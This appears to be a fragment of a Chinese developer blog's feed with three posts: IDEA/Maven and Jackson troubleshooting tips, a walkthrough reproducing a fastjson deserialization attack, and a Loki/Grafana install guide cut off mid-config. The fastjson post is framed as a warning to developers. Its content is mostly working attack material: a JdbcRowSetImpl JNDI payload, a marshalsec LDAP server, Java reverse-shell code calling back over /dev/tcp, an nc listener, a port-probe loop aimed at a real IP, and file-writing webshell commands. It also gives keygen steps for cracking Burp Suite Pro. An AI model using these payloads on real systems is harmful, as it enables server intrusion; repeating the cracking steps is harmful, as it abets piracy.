id="idea无法识别java文件，同时右侧maven工具栏中无法正常显示dependencys">idea无法识别java文件，同时右侧maven工具栏中无法正常显示dependencys</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>file-&gt;Project Structure-&gt;Modules-&gt;Add-&gt;Import Modules</p>              </div>            </details><h3 id="后台管理系统后台菜单关联采用group-contact导致部分菜单勾选失效">后台管理系统后台菜单关联采用group_contact导致部分菜单勾选失效</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>#查询最大值<br>SHOW VARIABLES LIKE “group_concat_max_len”;<br>group_concat长度限制默认是1024导致的</p><p>SET GLOBAL group_concat_max_len=10240000;<br>SET SESSION group_concat_max_len=10240000;</p>              </div>            </details><h3 id="idea无法识别yml文件，无法变为叶子形状的图标">idea无法识别yml文件，无法变为叶子形状的图标</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>如下添加</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/10/4af24a938c75db943e407884d0b9ae0b.png" alt="image-20221027164617804"></p>              </div>            </details><h3 id="maven打包占位符问题，打包后无法读取logback-spring-xml中的">maven打包占位符问题，打包后无法读取logback-spring.xml中的${}</h3><details red><summary> 解决方法 </summary>              <div class='content'>              <p>移除</p><p><img src="C:/Users/ChenQi/AppData/Roaming/Typora/typora-user-images/image-20230511091747097.png" alt="image-20230511091747097"></p><p>以下面这种方式控制</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/05/e417840eb203b8c5f06a7dc451ee1fe9.png" alt="image-20230511091822065"></p>              </div>            </details><h3 id="java8时间格式转换问题">java8时间格式转换问题</h3><p>Could not write JSON: Java 8 date/time type <code>java.time.LocalDateTime</code> not supported by default</p><details red><summary> 解决方法 </summary>              <div class='content'>              <p>首先需要在pom中添加jackson-datatype-jsr310依赖<br><img src="https://nas.allbs.cn:8888/cloudpic/2023/08/a1d0de831616d565d9f6077bd26940c0.png" alt=""></p><p>如果需要在redis直接储存含有LocalDateTime的实体类，可以将redis的序列化反序列化如下配置，将自动转换为指定的时间格式</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@AutoConfigureBefore(RedisAutoConfiguration.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisConfig</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RedisTemplate&lt;Object, Object&gt; <span class="title function_">redisTemplate</span><span class="params">(RedisConnectionFactory redisConnectionFactory)</span> &#123;</span><br><span class="line">        RedisTemplate&lt;Object, Object&gt; redisTemplate = <span class="keyword">new</span> <span class="title class_">RedisTemplate</span>&lt;&gt;();</span><br><span class="line">        Jackson2JsonRedisSerializer&lt;Object&gt; serializer = <span class="keyword">new</span> <span class="title class_">Jackson2JsonRedisSerializer</span>&lt;&gt;(Object.class);</span><br><span class="line">        <span class="type">ObjectMapper</span> <span class="variable">mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectMapper</span>();</span><br><span class="line">        mapper.registerModule(<span class="keyword">new</span> <span class="title class_">JavaTimeParser</span>());</span><br><span class="line">        serializer.setObjectMapper(mapper);</span><br><span class="line">        redisTemplate.setKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setHashKeySerializer(<span class="keyword">new</span> <span class="title class_">StringRedisSerializer</span>());</span><br><span class="line">        redisTemplate.setValueSerializer(serializer);</span><br><span class="line">        redisTemplate.setHashValueSerializer(serializer);</span><br><span class="line">        redisTemplate.setConnectionFactory(redisConnectionFactory);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> redisTemplate;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JavaTimeParser</span> <span class="keyword">extends</span> <span class="title class_">SimpleModule</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">JavaTimeParser</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(PackageVersion.VERSION);</span><br><span class="line">        <span class="built_in">this</span>.addSerializer(LocalDateTime.class, <span class="keyword">new</span> <span class="title class_">LocalDateTimeSerializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd HH:mm:ss&quot;</span>)));</span><br><span class="line">        <span class="built_in">this</span>.addSerializer(LocalDate.class, <span class="keyword">new</span> <span class="title class_">LocalDateSerializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd&quot;</span>)));</span><br><span class="line">        <span class="built_in">this</span>.addSerializer(LocalTime.class, <span class="keyword">new</span> <span class="title class_">LocalTimeSerializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;HH:mm:ss&quot;</span>)));</span><br><span class="line">        <span class="built_in">this</span>.addDeserializer(LocalDateTime.class, <span class="keyword">new</span> <span class="title class_">LocalDateTimeDeserializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd HH:mm:ss&quot;</span>)));</span><br><span class="line">        <span class="built_in">this</span>.addDeserializer(LocalDate.class, <span class="keyword">new</span> <span class="title class_">LocalDateDeserializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd&quot;</span>)));</span><br><span class="line">        <span class="built_in">this</span>.addDeserializer(LocalTime.class, <span class="keyword">new</span> <span class="title class_">LocalTimeDeserializer</span>(DateTimeFormatter.ofPattern(<span class="string">&quot;HH:mm:ss&quot;</span>)));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>              </div>            </details>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;新建maven项目右侧缺少maven窗口&quot;&gt;新建maven项目右侧缺少maven窗口&lt;/h3&gt;
&lt;details red&gt;&lt;summary&gt; 解决方法 &lt;/summary&gt;
              &lt;div class=&#39;content&#39;&gt;
         </summary>
      
    
    
    
    <category term="question" scheme="https://blog.allbs.cn/categories/question/"/>
    
    
    <category term="问题" scheme="https://blog.allbs.cn/tags/%E9%97%AE%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>记录一次fastjson序列化漏洞的攻击的完整复现</title>
    <link href="https://blog.allbs.cn/posts/59763/"/>
    <id>https://blog.allbs.cn/posts/59763/</id>
    <published>2021-10-28T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>前言<br>开发过程中经常会引用各种第三方jar包，但是第三方jar包常常包含漏洞，很多黑客是可以通过这些漏洞免验证入侵服务器的。该文目的是为了引导各位同行的重视和研究，避免自己错误的引入包含漏洞的jar包，避免被黑客入侵服务器，泄露重要数据，使公司财产遭受损失。</p></blockquote><h2 id="1-下载抓包工具">1.下载抓包工具</h2><p><a href="https://portswigger.net/burp/releases/download?product=pro&amp;version=2021.5.1&amp;type=WindowsX64">https://portswigger.net/burp/releases/download?product=pro&amp;version=2021.5.1&amp;type=WindowsX64</a></p><h2 id="2-工具破解（注册机-破解包）">2.工具破解（注册机+破解包）</h2><p>使用阿里云盘下载 <a href="https://www.alipan.com/s/87Lnm1SwNRd">https://www.alipan.com/s/87Lnm1SwNRd</a></p><h3 id="使用方法">使用方法</h3><p>双机打开burp-loader-keygen.jar注册机</p><p>==在放置目录下执行==</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -Xbootclasspath/p:burp-loader-keygen.jar -jar burpsuite_pro_v1.7.37.jar</span><br></pre></td></tr></table></figure><p>使用Manual activation激活方式</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211028170404261.png" alt="image-20211028170404261"></p><h2 id="3-环境准备">3.环境准备</h2><p>为了验证服务确实执行了远程指令使用网站 <a href="http://www.dnslog.cn/">http://www.dnslog.cn/</a> 获取子域名，这一步是为了验证是否通过程序注入的形式ping了一次这个子域名，如果子域名有ping的记录说明程序注入指令成功了，既然能执行ping的指令，那么其他指令。。。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211028171208234.png" alt="image-20211028171208234"></p><h2 id="4-打开要验证的网址-该管理系统使用了有漏洞的fastjson">4.打开要验证的网址(该管理系统使用了有漏洞的fastjson)</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/d422a390f3dfe0ec96f1987d0ec020ff.png" alt="image.png"></p><p>账号密码随便输入，打开F12查看登录api</p><p>可直接用抓包工具配置代理直接获取报文</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/8563207e73e03b88784b7997abfb354f.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/f3892c08a31f53d334fce9c8ee96abe7.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211028172040760.png" alt="image-20211028172040760"></p><h2 id="5-无漏洞实验（以另外一个改良后没有fastjson的程序为例）">5.无漏洞实验（以另外一个改良后没有fastjson的程序为例）</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/28f4298d0278ee177f1ee6b9d9ddb81c.png" alt="image.png"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0f7598ccadc42ac1b0ab9481fc9cbbfc.png" alt="image.png"></p><p>刷新后无记录说明服务器并没有执行恶意代码</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211028173143370.png" alt="image-20211028173143370"></p><h2 id="6-回弹shell">6.回弹shell</h2><p>为了方便后续自己的指令操作，所以回弹一个shell供自己方便的输入后续指令操作。</p><h3 id="1-下载工具-Netcat">1.下载工具 Netcat</h3><p>windows 下载</p><p><a href="https://eternallybored.org/misc/netcat/">https://eternallybored.org/misc/netcat/</a></p><p>centeos 下载</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install nc -y</span><br></pre></td></tr></table></figure><h3 id="2-必要条件-公网ip和可访问的三个端口">2.必要条件 公网ip和可访问的三个端口</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 监测端口是否开放</span><br><span class="line">for i in &#123;18080,80,19999&#125;;do timeout 0.5 bash -c &quot;echo &gt;/dev/tcp/148.70.41.161/$i&quot; &amp;&amp; echo &quot;$i ************************open************************&quot; || echo &quot;$i closed&quot;;done</span><br><span class="line"></span><br><span class="line">80 web服务器端口</span><br><span class="line">18080 nc监听端口</span><br><span class="line">19999 ldar转发端口</span><br></pre></td></tr></table></figure><h3 id="3-回弹shell-java内容">3.回弹shell java内容</h3><p>公网ip记得改自己的可以操作的服务器ip</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"># 创建Shell.java 内容如下</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.BufferedReader;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStreamReader;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Shell</span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Shell</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Process</span> <span class="variable">p</span> <span class="operator">=</span> Runtime.getRuntime().exec(<span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;/bin/bash&quot;</span>,<span class="string">&quot;-c&quot;</span>,<span class="string">&quot;exec 5&lt;&gt;/dev/tcp/公网ip/18080;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done&quot;</span>&#125;);</span><br><span class="line">        <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> p.getInputStream();</span><br><span class="line">        <span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(is));</span><br><span class="line"> </span><br><span class="line">        String line;</span><br><span class="line">        <span class="keyword">while</span>((line = reader.readLine()) != <span class="literal">null</span>) &#123;</span><br><span class="line">            System.out.println(line);</span><br><span class="line">        &#125;</span><br><span class="line"> </span><br><span class="line">        p.waitFor();</span><br><span class="line">        is.close();</span><br><span class="line">        reader.close();</span><br><span class="line">        p.destroy();</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"># 将该文件编译为Shell.<span class="keyword">class</span></span><br><span class="line"><span class="title class_">javac</span> Shell.java </span><br><span class="line"></span><br><span class="line">将Shell.class 放入web服务器使其当做静态资源映射出来</span><br></pre></td></tr></table></figure><h3 id="4-启动LDAP监听">4.启动LDAP监听</h3><p>开源地址 <a href="https://github.com/mbechler/marshalsec.git">https://github.com/mbechler/marshalsec.git</a></p><p>打包编译即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn clean package -DskipTests</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 引号内容为公网可供访问的Shell 因为我这里使用的是nginx并配置了的ssl证书，所以才是如下所示，正常为ip:端口  Shell为上面步骤的文件名称</span><br><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer &quot;https://www.allbs.cn/#Shell&quot; 19999</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101172217713.png" alt="image-20211101172217713"></p><h3 id="5-启动nc监听">5.启动nc监听</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lnvp 18080</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101172252526.png" alt=""></p><h3 id="6-发送报文内容">6.发送报文内容</h3><p>还是以第一个有fastjson漏洞的程序为例</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/0e0242f0c706b98990aff0c613376392.png" alt="image.png"></p><p>下面的ip、port换成需要进行测试的网站ip和端口，公网ip是自己放Exploit的服务器ip，name和x中的内容并不是不变的，==这个需要根据漏洞不同选择响应的注入形式，这下面只是根据fastjson一个较低版本进行举例说明，具体内容请自行参悟。==</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">POST /common/login HTTP/1.1</span><br><span class="line">Host: &#123;ip&#125;:&#123;port&#125;</span><br><span class="line">Content-Length: 306</span><br><span class="line">Accept: application/json, text/javascript, */*; q=0.01</span><br><span class="line">Authorization: null</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36</span><br><span class="line">Content-Type: application/json</span><br><span class="line">Origin: http://&#123;ip&#125;:&#123;port1&#125;</span><br><span class="line">Referer: http://&#123;ip&#125;:&#123;port1&#125;/</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line">&#123;</span><br><span class="line">    &quot;name&quot;:&#123;</span><br><span class="line">        &quot;@type&quot;:&quot;java.lang.Class&quot;,</span><br><span class="line">        &quot;val&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span><br><span class="line">    &#125;, </span><br><span class="line">    &quot;x&quot;:&#123;</span><br><span class="line">        &quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,</span><br><span class="line">        &quot;dataSourceName&quot;:&quot;ldap://公网ip:19999/Exploit&quot;,</span><br><span class="line">        &quot;autoCommit&quot;:true</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>报文发送后内容如下</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101172524358.png" alt="image-20211101172524358"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/986990ce5bc37f59d5ae3ed4c98bf2cd.png" alt="image.png"></p><p>自己的可以访问的服务器上放置的可弹shell的java程序 Exploit.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"><span class="keyword">import</span> java.lang.Process;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exploit</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Runtime</span> <span class="variable">rt</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line">            String[] commands = &#123;<span class="string">&quot;/bin/bash&quot;</span>, <span class="string">&quot;-c&quot;</span>,<span class="string">&quot;cd $(find -name \&quot;manifest.json\&quot; -type f -exec dirname &#123;&#125; \\; | sed 1q) &amp;&amp; echo `pwd` &gt; 1.txt&quot;</span>&#125;;</span><br><span class="line">            <span class="type">Process</span> <span class="variable">pc</span> <span class="operator">=</span> rt.exec(commands);</span><br><span class="line">            pc.waitFor();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// do</span></span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line">&#125;   </span><br></pre></td></tr></table></figure><h2 id="7-无法回弹的情况下写webshell">7.无法回弹的情况下写webshell</h2><p>linux 使用的bash</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 进入test.html的根目录并执行id命令写入1.txt</span><br><span class="line">cd $(find -name &quot;manifest.json&quot; -type f -exec dirname &#123;&#125; \; | sed 1q) &amp;&amp; echo `id` &gt; 1.txt</span><br></pre></td></tr></table></figure><p>windows使用的powerShell</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$file</span> = Get-ChildItem -Path . -Filter manifest.json -recurse -ErrorAction SilentlyContinue;<span class="variable">$f</span> = -Join(<span class="variable">$file</span>.DirectoryName,<span class="string">&quot;/a.txt&quot;</span>);<span class="built_in">echo</span> 222 |Out-File <span class="variable">$f</span></span><br></pre></td></tr></table></figure><h2 id="burp-抓包配置（这种方式可以使用burp内置的浏览器来操作，更方便）">burp 抓包配置（这种方式可以使用burp内置的浏览器来操作，更方便）</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101173222810.png" alt="image-20211101173222810"></p><p>下载chrome插件falcon-proxy</p><p><a href="https://links.jianshu.com/go?to=https%3A%2F%2Fchrome.google.com%2Fwebstore%2Fdetail%2Ffalcon-proxy%2Fgchhimlnjdafdlkojbffdkogjhhkdepf%3Fhl%3Dzh-CN">https://chrome.google.com/webstore/detail/falcon-proxy/gchhimlnjdafdlkojbffdkogjhhkdepf?hl=zh-CN</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101173320490.png" alt="image-20211101173320490"></p><p>抓包内容</p><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20211101173338192.png" alt="image-20211101173338192"></p><h3 id="使用idea查看漏洞">使用idea查看漏洞</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/04/b17d541dd39356fbd6ecc442713b67aa.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;前言&lt;br&gt;
开发过程中经常会引用各种第三方jar包，但是第三方jar包常常包含漏洞，很多黑客是可以通过这些漏洞免验证入侵服务器的。该文目的是为了引导各位同行的重视和研究，避免自己错误的引入包含漏洞的jar包，避免被黑客入侵服务器，泄露重要数据，使</summary>
      
    
    
    
    <category term="安全" scheme="https://blog.allbs.cn/categories/%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="spring boot" scheme="https://blog.allbs.cn/tags/spring-boot/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS使用grafana搭建日志监控平台</title>
    <link href="https://blog.allbs.cn/posts/51634/"/>
    <id>https://blog.allbs.cn/posts/51634/</id>
    <published>2021-09-27T03:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h3 id="说明">说明</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Loki 是主服务器，负责存储日志和处理查询 。</span><br><span class="line">promtail 是代理，负责收集日志并将其发送给 loki 。</span><br><span class="line">Grafana 用于 UI 展示</span><br></pre></td></tr></table></figure><h3 id="loki">loki</h3><h4 id="下载">下载</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -O -L &quot;https://github.com/grafana/loki/releases/download/v2.3.0/loki-linux-amd64.zip&quot;</span><br></pre></td></tr></table></figure><h4 id="安装">安装</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkdir  /home/gather/data/loki/&#123;chunks,index&#125;</span><br><span class="line">unzip loki-linux-amd64.zip</span><br><span class="line">mv  loki-linux-amd64 /home/gather/data/loki/</span><br><span class="line">chmod a+x &quot;loki-linux-amd64&quot;</span><br></pre></td></tr></table></figure><h4 id="下载配置文件">下载配置文件</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://raw.githubusercontent.com/grafana/loki/master/cmd/loki/loki-local-config.yaml</span><br></pre></td></tr></table></figure><h4 id="loki配置文件配置">loki配置文件配置</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">auth_enabled:</span> <span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">http_listen_port:</span> <span class="number">3100</span> <span class="comment"># 端口</span></span><br><span class="line"></span><br><span class="line"><span class="attr">ingester:</span></span><br><span class="line">  <span class="attr">lifecycler:</span></span><br><span class="line">    <span class="attr">address:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span> <span class="comment"># 地址</span></span><br><span class="line">    <span class="attr">ring:</span></span><br><span class="line">      <span class="attr">kvstore:</span></span><br><span class="line">        <span class="attr">store:</span> <span class="string">inmemory</span></span><br><span class="line">      <span class="attr">replication_factor:</span> <span class="number">1</span></span><br><span class="line">    <span class="attr">final_sleep:</span> <span class="string">0s</span></span><br><span class="line">  <span class="attr">chunk_idle_period:</span> <span class="string">1h</span>       <span class="comment"># Any chunk not receiving new logs in this time will be flushed</span></span><br><span class="line">  <span class="attr">max_chunk_age:</span> <span class="string">1h</span>           <span class="comment"># All chunks will be flushed when they hit this age, default is 1h</span></span><br><span class="line">  <span class="attr">chunk_target_size:</span> <span class="number">1048576</span>  <span class="comment"># Loki will attempt to build chunks up to 1.5MB, flushing first if chunk_idle_period or max_chunk_age is reached first</span></span><br><span class="line">  <span class="attr">chunk_retain_period:</span> <span class="string">30s</span>    <span class="comment"># Must be greater than index read cache TTL if using an index cache (Default index read cache TTL is 5m)</span></span><br><span class="line">  <span class="attr">max_transfer_retries:</span> <span class="number">0</span>     <span class="comment"># Chunk transfers disabled</span></span><br><span class="line"></span><br><span class="line"><span class="attr">schema_config:</span></span><br><span class="line">  <span class="attr">configs:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">from:</span> <span class="number">2020-10-24</span></span><br><span class="line">      <span class="attr">store:</span> <span class="string">boltdb-shipper</span></span><br><span class="line">      <span class="attr">object_store:</span> <span class="string">filesystem</span></span><br><span class="line">      <span class="attr">schema:</span> <span class="string">v11</span></span><br><span class="line">      <span class="attr">index:</span></span><br><span class="line">        <span class="attr">prefix:</span> <span class="string">index_</span></span><br><span class="line">        <span class="attr">period:</span> <span class="string">24h</span></span><br><span class="line"></span><br><span class="line"><span class="attr">storage_config:</span></span><br><span class="line">  <span class="attr">boltdb_shipper:</span> </span><br><span class="line">    <span class="attr">active_index_directory:</span> <span class="string">/home/gather/data/loki/boltdb-shipper-active</span></span><br><span class="line">    <span class="attr">cache_location:</span> <span class="string">/home/gather/data/loki/boltdb-shipper-cache</span></span><br><span class="line">    <span class="attr">cache_ttl:</span> <span class="string">24h</span>         <span class="comment"># Can be increased for faster performance over longer query periods, uses more disk space</span></span><br><span class="line">    <span class="attr">shared_store:</span> <span class="string">filesystem</span></span><br><span class="line">  <span class="attr">filesystem:</span></span><br><span class="line">    <span class="attr">directory:</span> <span class="string">/home/gather/data/loki/chunks</span></span><br><span class="line"></span><br><span class="line"><span class="attr">compactor:</span></span><br><span class="line">  <span class="attr">working_directory:</span> <span class="string">/home/gather/data/loki/boltdb-shipper-compactor</span></span><br><span class="line">  <span class="attr">shared_store:</span> <span class="string">filesystem</span></span><br><span class="line"></span><br><span class="line"><span class="attr">limits_config:</span></span><br><span class="line">  <span class="attr">reject_old_samples:</span> <span 